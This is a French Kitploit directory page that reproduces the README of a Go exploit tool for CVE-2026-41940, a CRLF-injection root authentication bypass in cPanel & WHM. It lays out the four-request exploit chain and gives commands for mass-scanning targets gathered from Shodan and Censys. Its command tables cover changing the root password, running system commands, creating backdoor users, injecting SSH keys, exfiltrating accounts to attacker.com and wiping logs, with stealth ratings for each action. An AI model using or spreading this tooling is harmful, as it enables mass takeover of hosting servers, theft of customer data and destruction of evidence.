Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
Outils/GitHubGitHub/ishanoshada/cve-2026-41940-exploit-poc
Authentification et AutorisationScanners de VulnérabilitésExploitationExploitation d'Applications WebPost-ExploitationTests d'IntrusionRed TeamingDéveloppement de Charges Utiles

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
GitHub
ishanoshada/cve-2026-41940-exploit-poc

CVE-2026-41940-Exploit-PoC

Exploit PoC pour CVE-2026-41940, un contournement d'authentification cPanel & WHM via injection CRLF. Inclut le scan de masse, des actions de post-exploitation et un shell interactif pour les tests autorisés.

Voir le dépôtSite web
2114il y a 4 moisPas encore vérifié
Partager

CVE-2026-41940 Exploit PoC – Contournement d'authentification cPanel & WHM

CVE-2026-41940 CVSS Go Version License

Outil par : Ishan Oshada | GitHub

⚠️ UNIQUEMENT POUR DES TESTS DE SÉCURITÉ AUTORISÉS. Toute utilisation non autorisée est illégale.

1


📋 Table des matières

  • Présentation de la vulnérabilité
  • Chaîne d'exploitation
  • Fonctionnalités
  • Installation
  • Démarrage rapide
  • Exemples d'utilisation
  • Actions post-exploitation
  • Commandes du shell interactif
  • Scan de masse avec urls.txt
  • Exemples de sortie
  • Référence des options
  • Versions affectées
  • Compilation pour toutes les plateformes
  • FAQ et dépannage
  • Avertissement
  • Auteur

2

Présentation de la vulnérabilité

CVE-2026-41940 est une vulnérabilité d'injection CRLF dans cPanel & WHM (versions < 11.110.0.97, 11.118.0.63, 11.126.0.54, 11.132.0.29, 11.134.0.20, 11.136.0.5).

La fonction saveSession() écrit les données de session après avoir appliqué filter_sessiondata(), mais le filtre est appliqué trop tard. En injectant des caractères CRLF (\r\n) dans l'en-tête Authorization: Basic, un attaquant peut empoisonner le fichier de session sur disque avec des paires clé-valeur arbitraires (par exemple, hasroot=1, tfa_verified=1, user=root).

Lorsque la session empoisonnée est ensuite chargée, cPanel/WHM accorde un accès root complet sans aucun mot de passe.

Score CVSS : 10.0 (CRITIQUE)

  • Vecteur d'attaque : Réseau
  • Complexité de l'attaque : Faible
  • Privilèges requis : Aucun
  • Interaction utilisateur : Aucune
  • Confidentialité : Élevée
  • Intégrité : Élevée
  • Disponibilité : Élevée

Chaîne d'exploitation (4 étapes)


Fonctionnalités

  • ✅ Scan simple et de masse (entrée fichier, pipe stdin)
  • ✅ Scan multithread (contrôle de la concurrence jusqu'à 100+ threads)
  • ✅ Mode verbeux (--verbose) – affiche les requêtes/réponses HTTP complètes
  • ✅ Sortie JSON (sauvegarde automatique lorsqu'une cible vulnérable est trouvée)
  • ✅ 10 actions post-exploitation (voir tableau ci-dessous)
  • ✅ Multi-plateforme (Windows, Linux, macOS)
  • ✅ Aucune dépendance externe (uniquement la bibliothèque standard Go)
  • ✅ Sortie terminal colorée avec résultats encadrés clairs
  • ✅ Persistance de session – mécanisme de maintien en vie
  • ✅ Shell WHM interactif avec historique des commandes

Installation

Prérequis

  • Go 1.20 ou supérieur (Télécharger)

Cloner le dépôt

root@kitploit:~
git clone https://github.com/ishanoshada/CVE-2026-41940-Exploit-PoC.git
cd CVE-2026-41940-Exploit-PoC

Compiler l'exécutable

Windows

root@kitploit:~
go build -o cpanel_sniper.exe main.go

Linux / macOS

root@kitploit:~
go build -o cpanel_sniper main.go
chmod +x cpanel_sniper

Exécution directe (sans compilation)

root@kitploit:~
go run main.go -u https://target.com:2087

Binaires pré-compilés (méthode la plus rapide)

Au lieu de compiler à partir des sources, vous pouvez télécharger directement les exécutables stables les plus récents depuis le dépôt. Ils sont générés automatiquement à chaque mise à jour :

Remarque : Si vous utilisez Linux ou macOS, pensez à accorder les permissions d'exécution après le téléchargement :


Démarrage rapide

root@kitploit:~
# Scan de base
go run main.go -u https://target.com:2087

# Lister tous les comptes cPanel
go run main.go -u https://target.com:2087 -action list

# Shell WHM interactif
go run main.go -u https://target.com:2087 -action shell

# Scan de masse avec urls.txt
go run main.go -l urls.txt -t 20 -o results.json

Exemples d'utilisation (Tableau)


Actions post-exploitation


Commandes du shell interactif

Une fois dans le shell (-action shell), utilisez ces commandes :


Scan de masse avec urls.txt

Le dépôt inclut urls.txt avec 1000 cibles d'exemple pour le scan de masse.

Format de urls.txt

root@kitploit:~
https://192.168.1.1:2087
https://192.168.1.2:2087
https://example1.com:2087
https://example2.com:2087
...

Commandes de scan de masse

root@kitploit:~
# Scan de masse de base (10 threads)
go run main.go -l urls.txt

# Scan de masse rapide (50 threads, sauvegarde des résultats)
go run main.go -l urls.txt -t 50 -o results.json

# Scan de masse avec action post-exploitation
go run main.go -l urls.txt -t 20 -action list -o hacked_servers.json

# Scan de masse avec sortie verbeuse
go run main.go -l urls.txt -t 10 --verbose

# Scan de masse avec délai d'attente augmenté (réseaux lents)
go run main.go -l urls.txt -t 30 -timeout 30

Générer urls.txt vous-même

root@kitploit:~
# Générer une plage IP (Linux/macOS)
for i in {1..254}; do echo "https://192.168.1.$i:2087"; done > urls.txt

# Générer une plage IP (Windows PowerShell)
1..254 | ForEach-Object { "https://192.168.1.$($_):2087" } > urls.txt

# Depuis Shodan
shodan search --fields ip_str,port 'title:"WHM Login"' | awk '{print "https://"$1":"$2}' > urls.txt

# Depuis Censys
censys search 'services.port=2087' | awk '{print "https://"$1":2087"}' > urls.txt

Exemples de sortie

Cible vulnérable trouvée

root@kitploit:~
╔════════════════════════════════════════════════════════════════╗
║                    CIBLE VULNÉRABLE DÉTECTÉE                   ║
╠════════════════════════════════════════════════════════════════╣
║ Cible : https://target.example.com:2087                        ║
║ Jeton : /cpsess1234567890                                      ║
║ Version : 11.76.0.22                                           ║
║ Session : :od2aMhg5zJeQunUy...                                 ║
║ URL API : https://target.example.com:2087/cpsess1234567890/json-api/version ║
╚════════════════════════════════════════════════════════════════╝

[+] Action : LIST
    • Utilisateur : admin | Domaine : example.com
    • Utilisateur : backup | Domaine : backup.example.com
    • Utilisateur : client1 | Domaine : client1.com

Sortie récapitulative

root@kitploit:~
════════════════════════════════════════════════════════════════════
                    RÉSUMÉ DU SCAN TERMINÉ
════════════════════════════════════════════════════════════════════
  Total de cibles scannées : 1000
  Cibles vulnérables : 47
  Temps écoulé : 125.34 secondes

CIBLES VULNÉRABLES :
────────────────────────────────────────────────────────────────
  1. https://192.168.1.15:2087
      Jeton : /cpsess1111111111
      Version : 11.76.0.22
      Session : :od2aMhg5zJeQunUy...
  2. https://192.168.1.42:2087
      Jeton : /cpsess2222222222
      Version : 11.86.0.15
      Session : Km2psnYR9w3rRkLU...
  3. https://example.com:2087
      Jeton : /cpsess3333333333
      Version : 11.118.0.42
      Session : Xk9mQrNtPw3sVbLm...

════════════════════════════════════════════════════════════════════

[✓] Résultats sauvegardés dans : results.json

Référence des options


Versions affectées


Compilation pour toutes les plateformes

Windows

root@kitploit:~
go build -o cpanel_sniper.exe main.go
cpanel_sniper.exe -u https://target.com:2087

Linux

root@kitploit:~
go build -o cpanel_sniper main.go
chmod +x cpanel_sniper
./cpanel_sniper -u https://target.com:2087

macOS (Intel)

root@kitploit:~
GOOS=darwin GOARCH=amd64 go build -o cpanel_sniper_mac_intel main.go

macOS (Apple Silicon M1/M2/M3)

root@kitploit:~
GOOS=darwin GOARCH=arm64 go build -o cpanel_sniper_mac_m1 main.go

Compilation croisée pour toutes les plateformes

root@kitploit:~
# Windows
GOOS=windows GOARCH=amd64 go build -o cpanel_sniper_windows.exe main.go

# Linux
GOOS=linux GOARCH=amd64 go build -o cpanel_sniper_linux main.go

# macOS Intel
GOOS=darwin GOARCH=amd64 go build -o cpanel_sniper_mac_intel main.go

# macOS M1/M2
GOOS=darwin GOARCH=arm64 go build -o cpanel_sniper_mac_m1 main.go

# Linux ARM (Raspberry Pi)
GOOS=linux GOARCH=arm64 go build -o cpanel_sniper_linux_arm64 main.go

Structure du répertoire

root@kitploit:~
CVE-2026-41940-Exploit-PoC/
├── README.md           # Documentation
├── bin/                # Exécutables pré-compilés multi-plateformes 
│   ├── windows_x64/
│   ├── linux_x64/
│   └── ...
├── main.go             # Code source principal
├── urls.txt            # 1000 cibles d'exemple
├── go.mod              # Fichier de module Go
├── .gitignore          # Fichier d'ignorance Git
└── results.json        # Fichier de sortie (généré)

Avertissement

Cet outil est destiné uniquement à des fins éducatives et aux tests de pénétration autorisés.

L'accès non autorisé à des systèmes informatiques est illégal en vertu de :

  • Computer Fraud and Abuse Act (CFAA) - États-Unis
  • Computer Misuse Act - Royaume-Uni
  • Information Technology Act - Inde
  • Lois similaires dans le monde entier

L'auteur décline toute responsabilité en cas d'utilisation abusive. Utilisation à vos propres risques.

En utilisant cet outil, vous acceptez que vous disposez de l'autorisation appropriée pour tester les systèmes cibles.


Auteur

Ishan Oshada

  • 🔗 Site web : ishanoshada.com
  • 🐙 GitHub : github.com/ishanoshada
  • 📧 Email : [email protected]

Views

Support

Si vous trouvez cet outil utile :

  • ⭐ Mettez une étoile au dépôt sur GitHub
  • 🔄 Partagez avec la communauté de la sécurité
  • 📝 Signalez les problèmes via GitHub Issues

Bon hacking ! 🚀

Rappelez-vous : Un grand pouvoir implique de grandes responsabilités. Utilisez de manière éthique.

Télécharger l’outil
ÉtapeActionDescription
1POST /login/?login_only=1Demander un cookie de session pré-authentification avec de mauvaises identifiants
2GET / + en-tête Authorization CRLFEmpoisonner le fichier de session avec hasroot=1, user=root, etc.
3GET /scripts2/listacctsForcer le cache de session à recharger le fichier empoisonné (propagation)
4GET /cpsess<TOKEN>/json-api/versionVérifier l'accès root – succès = 200 + données de version
PlateformeEmplacement
Windows (x64)/bin/windows_x64/cpanel_sniper.exe
Linux (x64)/bin/linux_x64/cpanel_sniper
Linux (ARM64)/bin/linux_arm64/cpanel_sniper
macOS (Intel)/bin/mac_intel/cpanel_sniper
macOS (M1/M2/M3)/bin/mac_m1_m2/cpanel_sniper
#ObjectifCommande
1Scan de base d'une cible uniquego run main.go -u https://target.com:2087
2Lister tous les comptes cPanelgo run main.go -u https://target.com:2087 -action list
3Changer le mot de passe rootgo run main.go -u https://target.com:2087 -action passwd -passwd "NewP@ssw0rd!2006"
4Exécuter une commande systèmego run main.go -u https://target.com:2087 -action cmd -cmd "id && whoami"
5Obtenir les informations du serveurgo run main.go -u https://target.com:2087 -action info
6Créer un utilisateur backdoorgo run main.go -u https://target.com:2087 -action adduser -new-user backdoor -new-domain backdoor.com -passwd "Pass123!2006"
7Créer un jeton API (discret)go run main.go -u https://target.com:2087 -action apitoken -tokenname mytoken
8Injecter une clé SSHgo run main.go -u https://target.com:2087 -action sshkey -sshkey "ssh-rsa AAAAB3NzaC1yc2E..."
9Sauvegarder et exfiltrer un comptego run main.go -u https://target.com:2087 -action dumpacct -dumpuser victim -exfil https://attacker.com/upload
10Effacer les journaux et couvrir les tracesgo run main.go -u https://target.com:2087 -action wipe
11Shell WHM interactifgo run main.go -u https://target.com:2087 -action shell
12Scan de masse depuis un fichiergo run main.go -l urls.txt -t 20 -o results.json
13Sauvegarder les résultats en JSONgo run main.go -u https://target.com:2087 -o scan_results.json
14Activer le débogage verbeuxgo run main.go -u https://target.com:2087 --verbose
15Pipe depuis d'autres outilscat urls.txt | go run main.go -t 20
16Augmenter le délai d'attentego run main.go -u https://target.com:2087 -timeout 30
ActionOptionDescriptionNiveau de discrétion
list-action listLister tous les comptes cPanelFaible
passwd-action passwd -passwd NEWPASSChanger le mot de passe root (bruyant)Élevé (détectable)
cmd-action cmd -cmd "id"Exécuter des commandes OSMoyen
info-action infoAfficher nom d'hôte, charge, versionFaible
adduser-action adduser -new-user U -new-domain DCréer un utilisateur cPanel backdoorMoyen
apitoken-action apitoken [-tokenname NAME]Générer un jeton API persistantTrès faible
sshkey-action sshkey -sshkey "ssh-rsa..."Injecter une clé publique SSH dans rootTrès faible
dumpacct-action dumpacct -dumpuser USER -exfil URLSauvegarder et exfiltrer un compteMoyen
wipe-action wipeDésactiver le WAF, effacer les journaux, nettoyer l'historiqueCouvrir les traces
shell-action shellShell WHM interactifFaible
CommandeDescriptionExemple
accountsLister tous les comptes cPanelaccounts
passwd <pass>Changer le mot de passe rootpasswd MyNewPass123!2006
exec <commande>Exécuter une commande systèmeexec "cat /etc/passwd"
infoAfficher les informations du serveurinfo
versionAfficher la version de cPanelversion
helpAfficher les commandes disponibleshelp
exitQuitter le shellexit
OptionTypeDéfautDescription
-ustring-URL cible (par exemple, https://example.com:2087)
-lstring-Fichier avec les cibles (une par ligne)
-tint10Nombre de threads concurrents
-actionstring-Action post-exploitation
-passwdstring-Nouveau mot de passe (pour passwd/adduser)
-cmdstring-Commande à exécuter (pour l'action cmd)
-new-userstring-Nom d'utilisateur pour l'action adduser
-new-domainstring-Domaine pour l'action adduser
-tokennamestring-Nom du jeton API (action apitoken)
-sshkeystring-Clé SSH publique à injecter (action sshkey)
-dumpuserstring-Nom d'utilisateur à sauvegarder (action dumpacct)
-exfilstring-URL distante pour l'exfiltration (action dumpacct)
-ostring-Fichier JSON de sortie (sauvegarde automatique en cas de détection)
--verboseboolfalseAfficher les requêtes/réponses HTTP
-hboolfalseAfficher le menu d'aide
BrancheVersion corrigéeVulnérable <
11.11011.110.0.9711.110.0.96
11.11811.118.0.6311.118.0.62
11.12611.126.0.5411.126.0.53
11.13211.132.0.2911.132.0.28
11.13411.134.0.2011.134.0.19
11.13611.136.0.511.136.0.4